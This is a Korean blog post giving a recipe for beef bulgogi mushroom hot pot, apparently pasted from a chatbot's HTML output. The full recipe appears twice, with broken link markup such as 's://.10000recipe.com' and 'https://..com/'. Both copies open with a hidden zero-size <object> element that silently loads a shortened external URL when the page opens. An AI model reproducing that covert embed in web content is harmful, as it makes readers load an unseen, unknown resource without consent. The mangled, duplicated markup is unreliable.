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<div class="figure-html" data-ke-type="html" data-source="<object width="0" height="0" data="https://vvd.bz/cftd" type="video/mp4"></object>
<div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:34">푸짐하고 달콤짭짤한 맛! 소불고기 버섯전골 만들기 레시피</h2><p data-sourcepos="3:1-3:6"><strong>소개</strong></p><p data-sourcepos="5:1-5:145">쌀쌀한 날씨에는 따뜻하고 푸짐한 한 끼 식사가 제격죠? 오늘은 불고기 양념으로 간을 맞춘 소불고기 버섯전골 레시피를 소개합니다. 소고기와 버섯의 풍미가 어우러져 깊고 깊은 맛을 자랑하는 이 전골은 달콤짭짤한 맛이 일품입니다. 밥도둑 역할을 톡톡히 해줄 거예요!</p><p data-sourcepos="7:1-7:6"><strong>재료</strong></p><ul data-sourcepos="9:1-26:0">
<li data-sourcepos="9:1-10:65">소고기 (양념용): 500g
<ul data-sourcepos="10:5-10:65">
<li data-sourcepos="10:5-10:65">불고기 양념: 간장 3큰술, 설탕 1큰술, 배 즙 1/3컵 또는 배 1/3개, 양파 1/2개, 마늘 1큰술</li>
</ul>
</li>
<li data-sourcepos="11:1-18:13">육수:
<ul data-sourcepos="12:5-18:13">
<li data-sourcepos="12:5-12:12">다시마 1장</li>
<li data-sourcepos="13:5-13:13">멸치 100g</li>
<li data-sourcepos="14:5-14:10">물 6컵</li>
<li data-sourcepos="15:5-15:13">국간장 2큰술</li>
<li data-sourcepos="16:5-16:12">설탕 1큰술</li>
<li data-sourcepos="17:5-17:11">소금 약간</li>
<li data-sourcepos="18:5-18:13">후춧가루 약간</li>
</ul>
</li>
<li data-sourcepos="19:1-23:13">채소:
<ul data-sourcepos="20:5-23:13">
<li data-sourcepos="20:5-20:15">표고버섯 300g</li>
<li data-sourcepos="21:5-21:11">당근 1개</li>
<li data-sourcepos="22:5-22:10">파 1대</li>
<li data-sourcepos="23:5-23:13">붉은고추 2개</li>
</ul>
</li>
<li data-sourcepos="24:1-26:0">기타:
<ul data-sourcepos="25:5-26:0">
<li data-sourcepos="25:5-26:0">참기름 1큰술</li>
</ul>
</li>
</ul><p data-sourcepos="27:1-27:8"><strong>만드는법</strong></p><ol data-sourcepos="29:1-34:0">
<li data-sourcepos="29:1-34:0">
<p data-sourcepos="29:4-29:15"><strong>소고기 양념하기</strong></p>
<ul data-sourcepos="31:5-34:0">
<li data-sourcepos="31:5-31:34">소고기를 먹기 좋은 크기로 썰어 핏물을 제거합니다.</li>
<li data-sourcepos="32:5-32:33">불고기 양념 재료를 모두 넣고 골고루 버무립니다.</li>
<li data-sourcepos="33:5-34:0">냉장고에서 30분 이상 숙성시킵니다.</li>
</ul>
</li>
<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c2079154043="" class="ng-star-inserted"><div _ngcontent-ng-c2079154043="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2079154043="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2079154043="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c227843145="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_0450639adbe1f35e&quot;,&quot;c_13a08719e902b483&quot;,null,&quot;rc_94bc4a4d0c656dec&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6946076"><span _ngcontent-ng-c227843145="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2079154043="" class="image loaded" alt="소고기 양념 재료 " src="https://lh3.googleusercontent.com/bip/ACo7QZ6Uj_ONWKfRb84C42644ub12cotSn5jLVBUhnpxsm6P2L9iMzHXLh9qPGw4P25XmuqdMfxM_VhcmcUxwqMEBTIflaSC0RKvn_Fdy4CghNEsIzlypvVL2BkET9bTOXUmHVO51fS22JysQLzBxNTgE28nOyyj2GQNwE-Ob5qnrGIP=w250-h200-p"></span><span _ngcontent-ng-c227843145="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c2079154043="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6946076" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_0450639adbe1f35e&quot;,&quot;c_13a08719e902b483&quot;,null,&quot;rc_94bc4a4d0c656dec&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2079154043="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><!----><span _ngcontent-ng-c2079154043="" class="label ellipsis gmat-caption">.10000recipe.com</span><span _ngcontent-ng-c2079154043="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c2079154043="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 소고기 양념 재료 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></ol><ol data-sourcepos="37:1-54:0" start="2">
<li data-sourcepos="37:1-42:0">
<p data-sourcepos="37:4-37:13"><strong>육수 만들기</strong></p>
<ul data-sourcepos="39:5-42:0">
<li data-sourcepos="39:5-39:36">냄비에 물을 6컵 넣고 다시마를 넣고 센불에 올립니다.</li>
<li data-sourcepos="40:5-40:32">물이 끓으면 멸치를 넣고 약 15분간 끓입니다.</li>
<li data-sourcepos="41:5-42:0">멸치 육수를 걸러 국간장, 설탕, 소금, 후춧가루를 넣고 간을 합니다.</li>
</ul>
</li>
<li data-sourcepos="43:1-48:0">
<p data-sourcepos="43:4-43:14"><strong>채소 손질하기</strong></p>
<ul data-sourcepos="45:5-48:0">
<li data-sourcepos="45:5-45:27">표고버섯은 밑둥을 떼고 슬라이스합니다.</li>
<li data-sourcepos="46:5-46:30">당근은 채 썰어주고, 파는 쫑쫑 썰어주세요.</li>
<li data-sourcepos="47:5-48:0">붉은고추는 씨를 제거하고 얇게 썰어줍니다.</li>
</ul>
</li>
<li data-sourcepos="49:1-54:0">
<p data-sourcepos="49:4-49:13"><strong>전골 끓이기</strong></p>
<ul data-sourcepos="51:5-54:0">
<li data-sourcepos="51:5-51:44">전골냄비에 손질한 채소를 둘러 담고 가운데 양념한 소고기를 올립니다.</li>
<li data-sourcepos="52:5-52:24">멸치 육수를 붓고 불에 올립니다.</li>
<li data-sourcepos="53:5-54:0">끓기 시작하면 중불로 줄여 약 20분간 끓입니다.</li>
</ul>
</li>
<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c2079154043="" class="ng-star-inserted"><div _ngcontent-ng-c2079154043="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2079154043="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2079154043="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c227843145="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_0450639adbe1f35e&quot;,&quot;c_13a08719e902b483&quot;,null,&quot;rc_94bc4a4d0c656dec&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6999449"><span _ngcontent-ng-c227843145="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2079154043="" class="image loaded" alt="전골 끓이기 " src="https://lh3.googleusercontent.com/bip/ACo7QZ54FFxx6HUXM2unWSmeWR2Fq1seBSTrlPBV7c_Oa_sIY0l733_-K109md9M2Jikc4B1zgzIXneLI0oyLZA1uxkcRYMlI_WBMLuFdjaFaCGBXWvIYmZyo0xwR1m6T8eX3CcetAXupUd0iu1Bi2FUjPAagwDB__IyyB2YKexOL_Cc=w250-h200-p"></span><span _ngcontent-ng-c227843145="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c2079154043="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6999449" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_0450639adbe1f35e&quot;,&quot;c_13a08719e902b483&quot;,null,&quot;rc_94bc4a4d0c656dec&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2079154043="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><!----><span _ngcontent-ng-c2079154043="" class="label ellipsis gmat-caption">.10000recipe.com</span><span _ngcontent-ng-c2079154043="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c2079154043="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 전골 끓이기 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></ol><ol data-sourcepos="57:1-61:0" start="5">
<li data-sourcepos="57:1-61:0">
<p data-sourcepos="57:4-57:10"><strong>마무리</strong></p>
<ul data-sourcepos="59:5-61:0">
<li data-sourcepos="59:5-59:27">끓어오르면 참기름을 넣고 마무리합니다.</li>
<li data-sourcepos="60:5-61:0">밥과 함께 뜨겁게 즐겨보세요!</li>
</ul>
</li>
</ol><p data-sourcepos="62:1-62:5"><strong>팁</strong></p><ul data-sourcepos="64:1-67:0">
<li data-sourcepos="64:1-64:29">버섯 대신에 다른 버섯 종류를 사용해도 좋습니다.</li>
<li data-sourcepos="65:1-65:37">매운 것을 좋아하신다면 고추장이나 고춧가루를 추가해도 좋습니다.</li>
<li data-sourcepos="66:1-67:0">쫄깃한 식감을 원하신다면 쫄병이나 두부를 추가해도 좋습니다.</li>
</ul><p data-sourcepos="68:1-68:6"><strong>후기</strong></p><p data-sourcepos="70:1-70:135">오늘 만들어본 소불고기 버섯전골은 정말 맛있었습니다. 소고기와 버섯의 풍미가 조화롭게 어우러져 깊고 진한 맛이 일품이었어요. 달콤짭짤한 국물도 밥과 찰떡궁합이었죠. 쌀쌀한 날씨에 따뜻하고 푸짐한 한 끼 식사를 찾으신다면 이 전골을 추천합니다!</p><p data-sourcepos="72:1-72:37"><strong>이 외에도 다양한 레시피를 보려면 다음 링크를 방문해주세요.</strong></p><ul data-sourcepos="74:1-76:54">
<li data-sourcepos="74:1-74:126"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><link-block class="ng-star-inserted"><a rel="noopener" externallink="" _nghost-ng-c227843145="" jslog="197247;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_0450639adbe1f35e&quot;,&quot;c_13a08719e902b483&quot;,null,&quot;rc_94bc4a4d0c656dec&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]]" s://searchadvisor.naver.com/guide/structured-data-recipe">https://searchadvisor.naver.com/guide/structured-data-recipe</a></link-block><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></li>
<li data-sourcepos="75:1-75:84"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><link-block class="ng-star-inserted"><a rel="noopener" externallink="" _nghost-ng-c227843145="" jslog="197247;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_0450639adbe1f35e&quot;,&quot;c_13a08719e902b483&quot;,null,&quot;rc_94bc4a4d0c656dec&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]]" s://.youtube.com/c/10000recipeTV">https://.youtube.com/c/10000recipeTV</a></link-block><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></li>
<li data-sourcepos="76:1-76:54"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><link-block class="ng-star-inserted"><a rel="noopener" externallink="" _nghost-ng-c227843145="" jslog="197247;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_0450639adbe1f35e&quot;,&quot;c_13a08719e902b483&quot;,null,&quot;rc_94bc4a4d0c656dec&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]]" s://..com/">https://..com/</a></link-block><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></li>
</ul></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cftd" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
<div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:34">푸짐하고 달콤짭짤한 맛! 소불고기 버섯전골 만들기 레시피</h2><p data-sourcepos="3:1-3:6"><strong>소개</strong></p><p data-sourcepos="5:1-5:145">쌀쌀한 날씨에는 따뜻하고 푸짐한 한 끼 식사가 제격죠? 오늘은 불고기 양념으로 간을 맞춘 소불고기 버섯전골 레시피를 소개합니다. 소고기와 버섯의 풍미가 어우러져 깊고 깊은 맛을 자랑하는 이 전골은 달콤짭짤한 맛이 일품입니다. 밥도둑 역할을 톡톡히 해줄 거예요!</p><p data-sourcepos="7:1-7:6"><strong>재료</strong></p><ul data-sourcepos="9:1-26:0">
<li data-sourcepos="9:1-10:65">소고기 (양념용): 500g
<ul data-sourcepos="10:5-10:65">
<li data-sourcepos="10:5-10:65">불고기 양념: 간장 3큰술, 설탕 1큰술, 배 즙 1/3컵 또는 배 1/3개, 양파 1/2개, 마늘 1큰술</li>
</ul>
</li>
<li data-sourcepos="11:1-18:13">육수:
<ul data-sourcepos="12:5-18:13">
<li data-sourcepos="12:5-12:12">다시마 1장</li>
<li data-sourcepos="13:5-13:13">멸치 100g</li>
<li data-sourcepos="14:5-14:10">물 6컵</li>
<li data-sourcepos="15:5-15:13">국간장 2큰술</li>
<li data-sourcepos="16:5-16:12">설탕 1큰술</li>
<li data-sourcepos="17:5-17:11">소금 약간</li>
<li data-sourcepos="18:5-18:13">후춧가루 약간</li>
</ul>
</li>
<li data-sourcepos="19:1-23:13">채소:
<ul data-sourcepos="20:5-23:13">
<li data-sourcepos="20:5-20:15">표고버섯 300g</li>
<li data-sourcepos="21:5-21:11">당근 1개</li>
<li data-sourcepos="22:5-22:10">파 1대</li>
<li data-sourcepos="23:5-23:13">붉은고추 2개</li>
</ul>
</li>
<li data-sourcepos="24:1-26:0">기타:
<ul data-sourcepos="25:5-26:0">
<li data-sourcepos="25:5-26:0">참기름 1큰술</li>
</ul>
</li>
</ul><p data-sourcepos="27:1-27:8"><strong>만드는법</strong></p><ol data-sourcepos="29:1-34:0">
<li data-sourcepos="29:1-34:0">
<p data-sourcepos="29:4-29:15"><strong>소고기 양념하기</strong></p>
<ul data-sourcepos="31:5-34:0">
<li data-sourcepos="31:5-31:34">소고기를 먹기 좋은 크기로 썰어 핏물을 제거합니다.</li>
<li data-sourcepos="32:5-32:33">불고기 양념 재료를 모두 넣고 골고루 버무립니다.</li>
<li data-sourcepos="33:5-34:0">냉장고에서 30분 이상 숙성시킵니다.</li>
</ul>
</li>
<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c2079154043="" class="ng-star-inserted"><div _ngcontent-ng-c2079154043="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2079154043="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2079154043="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c227843145="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_0450639adbe1f35e","c_13a08719e902b483",null,"rc_94bc4a4d0c656dec",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6946076"><span _ngcontent-ng-c227843145="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2079154043="" class="image loaded" alt="소고기 양념 재료 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Flh3.googleusercontent.com%2Fbip%2FACo7QZ6Uj_ONWKfRb84C42644ub12cotSn5jLVBUhnpxsm6P2L9iMzHXLh9qPGw4P25XmuqdMfxM_VhcmcUxwqMEBTIflaSC0RKvn_Fdy4CghNEsIzlypvVL2BkET9bTOXUmHVO51fS22JysQLzBxNTgE28nOyyj2GQNwE-Ob5qnrGIP%3Dw250-h200-p"></span><span _ngcontent-ng-c227843145="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c2079154043="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6946076" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_0450639adbe1f35e","c_13a08719e902b483",null,"rc_94bc4a4d0c656dec",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2079154043="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><!----><span _ngcontent-ng-c2079154043="" class="label ellipsis gmat-caption">.10000recipe.com</span><span _ngcontent-ng-c2079154043="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c2079154043="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 소고기 양념 재료 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></ol><ol data-sourcepos="37:1-54:0" start="2">
<li data-sourcepos="37:1-42:0">
<p data-sourcepos="37:4-37:13"><strong>육수 만들기</strong></p>
<ul data-sourcepos="39:5-42:0">
<li data-sourcepos="39:5-39:36">냄비에 물을 6컵 넣고 다시마를 넣고 센불에 올립니다.</li>
<li data-sourcepos="40:5-40:32">물이 끓으면 멸치를 넣고 약 15분간 끓입니다.</li>
<li data-sourcepos="41:5-42:0">멸치 육수를 걸러 국간장, 설탕, 소금, 후춧가루를 넣고 간을 합니다.</li>
</ul>
</li>
<li data-sourcepos="43:1-48:0">
<p data-sourcepos="43:4-43:14"><strong>채소 손질하기</strong></p>
<ul data-sourcepos="45:5-48:0">
<li data-sourcepos="45:5-45:27">표고버섯은 밑둥을 떼고 슬라이스합니다.</li>
<li data-sourcepos="46:5-46:30">당근은 채 썰어주고, 파는 쫑쫑 썰어주세요.</li>
<li data-sourcepos="47:5-48:0">붉은고추는 씨를 제거하고 얇게 썰어줍니다.</li>
</ul>
</li>
<li data-sourcepos="49:1-54:0">
<p data-sourcepos="49:4-49:13"><strong>전골 끓이기</strong></p>
<ul data-sourcepos="51:5-54:0">
<li data-sourcepos="51:5-51:44">전골냄비에 손질한 채소를 둘러 담고 가운데 양념한 소고기를 올립니다.</li>
<li data-sourcepos="52:5-52:24">멸치 육수를 붓고 불에 올립니다.</li>
<li data-sourcepos="53:5-54:0">끓기 시작하면 중불로 줄여 약 20분간 끓입니다.</li>
</ul>
</li>
<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c2079154043="" class="ng-star-inserted"><div _ngcontent-ng-c2079154043="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2079154043="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2079154043="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c227843145="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_0450639adbe1f35e","c_13a08719e902b483",null,"rc_94bc4a4d0c656dec",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6999449"><span _ngcontent-ng-c227843145="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2079154043="" class="image loaded" alt="전골 끓이기 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Flh3.googleusercontent.com%2Fbip%2FACo7QZ54FFxx6HUXM2unWSmeWR2Fq1seBSTrlPBV7c_Oa_sIY0l733_-K109md9M2Jikc4B1zgzIXneLI0oyLZA1uxkcRYMlI_WBMLuFdjaFaCGBXWvIYmZyo0xwR1m6T8eX3CcetAXupUd0iu1Bi2FUjPAagwDB__IyyB2YKexOL_Cc%3Dw250-h200-p"></span><span _ngcontent-ng-c227843145="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c2079154043="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6999449" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_0450639adbe1f35e","c_13a08719e902b483",null,"rc_94bc4a4d0c656dec",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2079154043="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><!----><span _ngcontent-ng-c2079154043="" class="label ellipsis gmat-caption">.10000recipe.com</span><span _ngcontent-ng-c2079154043="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c2079154043="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 전골 끓이기 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></ol><ol data-sourcepos="57:1-61:0" start="5">
<li data-sourcepos="57:1-61:0">
<p data-sourcepos="57:4-57:10"><strong>마무리</strong></p>
<ul data-sourcepos="59:5-61:0">
<li data-sourcepos="59:5-59:27">끓어오르면 참기름을 넣고 마무리합니다.</li>
<li data-sourcepos="60:5-61:0">밥과 함께 뜨겁게 즐겨보세요!</li>
</ul>
</li>
</ol><p data-sourcepos="62:1-62:5"><strong>팁</strong></p><ul data-sourcepos="64:1-67:0">
<li data-sourcepos="64:1-64:29">버섯 대신에 다른 버섯 종류를 사용해도 좋습니다.</li>
<li data-sourcepos="65:1-65:37">매운 것을 좋아하신다면 고추장이나 고춧가루를 추가해도 좋습니다.</li>
<li data-sourcepos="66:1-67:0">쫄깃한 식감을 원하신다면 쫄병이나 두부를 추가해도 좋습니다.</li>
</ul><p data-sourcepos="68:1-68:6"><strong>후기</strong></p><p data-sourcepos="70:1-70:135">오늘 만들어본 소불고기 버섯전골은 정말 맛있었습니다. 소고기와 버섯의 풍미가 조화롭게 어우러져 깊고 진한 맛이 일품이었어요. 달콤짭짤한 국물도 밥과 찰떡궁합이었죠. 쌀쌀한 날씨에 따뜻하고 푸짐한 한 끼 식사를 찾으신다면 이 전골을 추천합니다!</p><p data-sourcepos="72:1-72:37"><strong>이 외에도 다양한 레시피를 보려면 다음 링크를 방문해주세요.</strong></p><ul data-sourcepos="74:1-76:54">
<li data-sourcepos="74:1-74:126"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><link-block class="ng-star-inserted"><a rel="noopener" externallink="" _nghost-ng-c227843145="" jslog="197247;track:generic_click,impression;BardVeMetadataKey:[["r_0450639adbe1f35e","c_13a08719e902b483",null,"rc_94bc4a4d0c656dec",null,null,"ko",null,null,null,null,1,0]]" s://searchadvisor.naver.com/guide/structured-data-recipe">https://searchadvisor.naver.com/guide/structured-data-recipe</a></link-block><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></li>
<li data-sourcepos="75:1-75:84"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><link-block class="ng-star-inserted"><a rel="noopener" externallink="" _nghost-ng-c227843145="" jslog="197247;track:generic_click,impression;BardVeMetadataKey:[["r_0450639adbe1f35e","c_13a08719e902b483",null,"rc_94bc4a4d0c656dec",null,null,"ko",null,null,null,null,1,0]]" s://.youtube.com/c/10000recipeTV">https://.youtube.com/c/10000recipeTV</a></link-block><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></li>
<li data-sourcepos="76:1-76:54"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><link-block class="ng-star-inserted"><a rel="noopener" externallink="" _nghost-ng-c227843145="" jslog="197247;track:generic_click,impression;BardVeMetadataKey:[["r_0450639adbe1f35e","c_13a08719e902b483",null,"rc_94bc4a4d0c656dec",null,null,"ko",null,null,null,null,1,0]]" s://..com/">https://..com/</a></link-block><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></li>
</ul></div>
</div></div>
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불고기 소불고기소불고기버섯전골 만드는법
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